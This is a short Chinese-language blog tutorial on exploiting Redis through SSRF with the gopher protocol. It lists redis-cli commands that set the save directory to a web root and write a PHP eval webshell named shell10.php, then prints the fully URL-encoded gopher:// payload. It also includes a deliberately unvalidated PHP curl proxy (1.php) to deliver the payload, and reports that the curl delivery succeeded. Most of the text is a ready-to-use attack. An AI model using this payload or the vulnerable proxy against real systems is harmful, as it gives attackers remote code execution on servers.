Centos、Redis、LNMP、wireshark,如何安装自行百度。
wireshark抓包,linux默认可以抓127.0.0.1的数据包,windows中需要用Npcap替代winpcap,选择网卡。
启动抓包,redis-cli执行的命令:
redis-cli
flushall
config set dir /home/wwwroot/xxxx/
config set dbfilename "shell10.php"
set gaia "<?php eval($_REQUEST[8]);?>"
save
exit
停止抓包,然后过滤数据tcp.port == 6379
,跟踪TCP数据流。
选择发送的数据流,复制下来。
前面添加gopher://127.0.0.1:6379/
,用%0d%0a
代替转码出来的%0a
,()
分别用%28%29
替换,?
也替换为%3f
。
完成之后构造的代码如下:
xxxx目录请进行适当修改,连接密码8也可适当修改
gopher://127.0.0.1:6379/*1%0D%0A%247%0D%0ACOMMAND%0D%0A*1%0D%0A%248%0D%0Aflushall%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2421%0D%0A%2Fhome%2Fwwwroot%2Fxxxx%2F%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2411%0D%0Ashell10.php%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Agaia%0D%0A%2427%0D%0A%3C%3Fphp%20eval%28%24_REQUEST%5B8%5D%29%3B%3F%3E%0D%0A*1%0D%0A%244%0D%0Asave%0D%0A
通过1.php?url=gopher.......
测试无效,可能是已经解决这个问题了。
1.php代码如下:
<?php
$URL = @$_GET['url'];
$CH = CURL_INIT();
CURL_SETOPT($CH,CURLOPT_URL,$URL);
CURL_SETOPT($CH,CURLOPT_HEADER,FALSE);
CURL_SETOPT($CH,CURLOPT_RETURNTRANSFER,TRUE);
CURL_SETOPT($CH,CURLOPT_SSL_VERIFYPEER,FALSE);
CURL_SETOPT($CH,CURLOPT_FOLLOWLOCATION,TRUE);
$RES=CURL_EXEC($CH);
CURL_CLOSE($CH);
echo $RES;
if($RES===false){
echo "Error:".CURL_ERROR($CH);
}
?>
通过curl gopher://127.0.0.1:6379/*1%0D%0A%247%0D%0。。。。。。。
测试成功,截图如下:
通过Gopherus构造代码也可curl成功。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.